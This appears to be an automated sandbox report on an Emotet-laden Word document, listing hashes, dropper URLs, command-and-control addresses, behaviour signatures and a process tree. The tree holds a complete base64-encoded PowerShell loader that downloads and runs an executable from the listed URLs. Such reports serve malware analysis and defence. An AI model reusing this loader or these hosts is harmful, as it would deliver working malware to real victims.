Analysis

  • max time kernel
    135s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    26/08/2020, 22:39

General

  • Target
    emotet_e2_f3f87a6dd05dca7f7bf21316df4aa90bbc92fd53a45b004fa5edd7b6017ea8ac_2020-08-26__223640._doc.doc
  • Size 231KB
  • Sample200826-3kasbycmwe
  • SHA256 f3f87a6dd05dca7f7bf21316df4aa90bbc92fd53a45b004fa5edd7b6017ea8ac
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://casaroomz.com/wp-includes/rPG/

  • exe.dropper

    http://necibekulac.com/wp-content/dTl4ul/

  • exe.dropper

    https://www.homeonetechnologies.com/blog/dcy/

  • exe.dropper

    http://todoparaelconfort.com/cgi-bin/wp/

  • exe.dropper

    http://aadarshitibhusawal.org/wp-includes/amI/

  • exe.dropper

    http://digiarmedia.com/wp-admin/8/

  • exe.dropper

    http://avcumda.com/huseyingulgec.com.tr/cO1DS8G/

Extracted

Family
  • emotet

C2
  • 173.81.218.65:80

  • 45.55.36.51:443

  • 91.83.93.99:7080

  • 45.55.219.163:443

  • 169.239.182.217:8080

  • 24.43.99.75:80

  • 78.24.219.147:8080

  • 95.179.229.244:8080

  • 107.5.122.110:80

  • 47.144.21.12:443

  • 204.197.146.48:80

  • 139.99.158.11:443

  • 190.160.53.126:80

  • 74.120.55.163:80

  • 74.109.108.202:80

  • 47.146.117.214:80

  • 104.236.246.93:8080

  • 174.137.65.18:80

  • 41.60.200.34:80

  • 209.141.54.221:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_f3f87a6dd05dca7f7bf21316df4aa90bbc92fd53a45b004fa5edd7b6017ea8ac_2020-08-26__223640._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3404
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABEAG8AaQA3AHgAagAwAD0AKAAoACcATgAzACcAKwAnAGIAZwAnACkAKwAoACcAcwAnACsAJwBjAHMAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdAAnACsAJwBlAG0AJwApACAAJABFAG4AdgA6AFQAZQBtAHAAXABXAE8AUgBEAFwAMgAwADEAOQBcACAALQBpAHQAZQBtAHQAeQBwAGUAIABEAEkAUgBFAGMAdABvAFIAWQA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBFAEMAYABVAFIAYABJAHQAWQBgAFAAYABSAG8AdABPAEMAbwBsACIAIAA9ACAAKAAoACcAdABsAHMAJwArACcAMQAyACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAoACcAbABzACcAKwAnADEAMQAsACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAFoAbwBfAGQAcAB1AGgAIAA9ACAAKAAoACcAWgAnACsAJwBsAGMAJwApACsAKAAnAG8AJwArACcAeQBfADQAJwApACkAOwAkAFEANAA4AF8AZABjAHoAPQAoACgAJwBVADcAJwArACcAYQBqACcAKQArACgAJwA2ADcAJwArACcAYwAnACkAKQA7ACQARAAxAGwANgBqAGQAMAA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwAxADUAeAB3ACcAKwAnAG8AJwApACsAJwByAGQAJwArACgAJwAxACcAKwAnADUAeAAyACcAKQArACcAMAAnACsAKAAnADEAOQAxACcAKwAnADUAeAAnACkAKQAuACIAUgBgAEUAcABsAGEAYABDAEUAIgAoACgAWwBjAGgAYQBSAF0ANAA5ACsAWwBjAGgAYQBSAF0ANQAzACsAWwBjAGgAYQBSAF0AMQAyADAAKQAsACcAXAAnACkAKQArACQAWgBvAF8AZABwAHUAaAArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVABzAGwAcwBjADMAcgA9ACgAKAAnAFgAdAAnACsAJwBlACcAKQArACgAJwBlAHIAJwArACcANQBhACcAKQApADsAJABOADEAYgBoAGQAMAA1AD0AJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABOAGUAVAAuAHcARQBiAGMATABpAEUAbgBUADsAJABDAHcANAA3AG8AYwBnAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6AC8AJwArACcALwBjACcAKwAnAGEAcwBhACcAKQArACcAcgBvACcAKwAnAG8AJwArACgAJwBtAHoAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAHcAJwArACgAJwBwACcAKwAnAC0AaQAnACkAKwAnAG4AJwArACgAJwBjACcAKwAnAGwAdQAnACsAJwBkAGUAcwAvAHIAJwApACsAKAAnAFAARwAnACsAJwAvACoAJwArACcAaAB0AHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AJwArACcAbgAnACkAKwAoACcAZQAnACsAJwBjAGkAYgAnACkAKwAnAGUAJwArACgAJwBrACcAKwAnAHUAbAAnACkAKwAnAGEAJwArACgAJwBjAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGMAJwArACcAbwBuAHQAJwApACsAKAAnAGUAJwArACcAbgB0AC8AJwApACsAJwBkAFQAJwArACcAbAAnACsAKAAnADQAJwArACcAdQBsACcAKwAnAC8AKgBoAHQAJwArACcAdAAnACsAJwBwAHMAOgAvAC8AdwB3ACcAKQArACgAJwB3AC4AaABvAG0AZQBvAG4AJwArACcAZQAnACsAJwB0AGUAYwAnACkAKwAnAGgAbgAnACsAKAAnAG8AbAAnACsAJwBvACcAKQArACgAJwBnAGkAJwArACcAZQBzACcAKwAnAC4AYwBvAG0ALwAnACsAJwBiACcAKQArACcAbABvACcAKwAoACcAZwAnACsAJwAvAGQAYwB5ACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAvAC8AJwArACcAdAAnACkAKwAnAG8AZAAnACsAKAAnAG8AcABhACcAKwAnAHIAYQBlAGwAJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBuAGYAJwApACsAKAAnAG8AcgAnACsAJwB0AC4AJwApACsAKAAnAGMAbwBtAC8AYwBnAGkALQAnACsAJwBiACcAKwAnAGkAJwApACsAJwBuACcAKwAoACcALwAnACsAJwB3AHAAJwApACsAJwAvACoAJwArACcAaAB0ACcAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8AJwArACgAJwAvAGEAYQBkAGEAcgBzAGgAaQAnACsAJwB0AGkAYgBoACcAKwAnAHUAJwArACcAcwAnACkAKwAoACcAYQAnACsAJwB3AGEAbAAnACkAKwAoACcALgBvAHIAZwAvAHcAJwArACcAcAAnACkAKwAnAC0AaQAnACsAJwBuACcAKwAnAGMAJwArACcAbAAnACsAKAAnAHUAZABlACcAKwAnAHMAJwApACsAJwAvACcAKwAoACcAYQAnACsAJwBtAEkAJwApACsAKAAnAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACgAJwBkACcAKwAnAGkAZwAnACkAKwAnAGkAJwArACgAJwBhAHIAJwArACcAbQBlAGQAaQBhACcAKQArACgAJwAuACcAKwAnAGMAbwAnACkAKwAoACcAbQAnACsAJwAvAHcAcAAnACkAKwAnAC0AYQAnACsAJwBkAG0AJwArACcAaQBuACcAKwAnAC8AJwArACcAOAAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACcAcAAnACsAKAAnADoALwAnACsAJwAvACcAKQArACgAJwBhAHYAYwAnACsAJwB1ACcAKQArACcAbQBkACcAKwAoACcAYQAuACcAKwAnAGMAJwApACsAKAAnAG8AbQAnACsAJwAvAGgAdQAnACkAKwAnAHMAZQAnACsAKAAnAHkAaQAnACsAJwBuAGcAdQAnACkAKwAoACcAbABnACcAKwAnAGUAJwApACsAKAAnAGMAJwArACcALgBjACcAKQArACcAbwBtACcAKwAoACcALgAnACsAJwB0AHIAJwApACsAJwAvAGMAJwArACgAJwBPADEARABTADgAJwArACcARwAnACsAJwAvACcAKQApAC4AIgBTAFAAYABsAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAaQBpADYAbgAwADEAPQAoACgAJwBCACcAKwAnAHoAcAAnACkAKwAoACcAeABiACcAKwAnAGoAdgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAXwB1AGYAeABkADIAIABpAG4AIAAkAEMAdwA0ADcAbwBjAGcAKQB7AHQAcgB5AHsAJABOADEAYgBoAGQAMAA1AC4AIgBEAGAAbwBXAG4AbABvAGAAQQBEAGAARgBJAGwARQAiACgAJABYAF8AdQBmAHgAZAAyACwAIAAkAEQAMQBsADYAagBkADAAKQA7ACQARwBoAHcAZgB5AGwAMAA9ACgAKAAnAEkAJwArACcAXwBkAHUAJwApACsAJwAwACcAKwAnAHUANwAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQARAAxAGwANgBqAGQAMAApAC4AIgBsAGAAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMwA4ADgAMQA3ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAEQAMQBsADYAagBkADAAKQA7ACQAWAB5AHcAeABpAHMANAA9ACgAKAAnAFcAcABuAG4AJwArACcANgAnACkAKwAnADYAeQAnACkAOwBiAHIAZQBhAGsAOwAkAEEANwBqAGgANwByAGwAPQAoACcASgB0ACcAKwAoACcAbgA3AGYAJwArACcAcgBzACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADQAZgB3ADAAcgBfAD0AKAAnAFYAJwArACgAJwBtADQANwB2ACcAKwAnAHMAcgAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4000
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Zlcoy_4.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Zlcoy_4.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of WriteProcessMemory
      PID:2168
      • C:\Windows\SysWOW64\ntshrui\KBDTAJIK.exe
        "C:\Windows\SysWOW64\ntshrui\KBDTAJIK.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        PID:3112

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/2168-15-0x00000000004E0000-0x00000000004EC000-memory.dmp

        memory/3112-18-0x0000000000450000-0x000000000045C000-memory.dmp

        memory/3404-0-0x00007FFEAA320000-0x00007FFEAA9E6000-memory.dmp

        memory/3404-5-0x0000028779073000-0x0000028779084000-memory.dmp

        memory/4000-9-0x00007FFEA1D30000-0x00007FFEA271C000-memory.dmp

        memory/4000-10-0x0000022BF4A80000-0x0000022BF4A81000-memory.dmp

        memory/4000-11-0x0000022BF4C30000-0x0000022BF4C31000-memory.dmp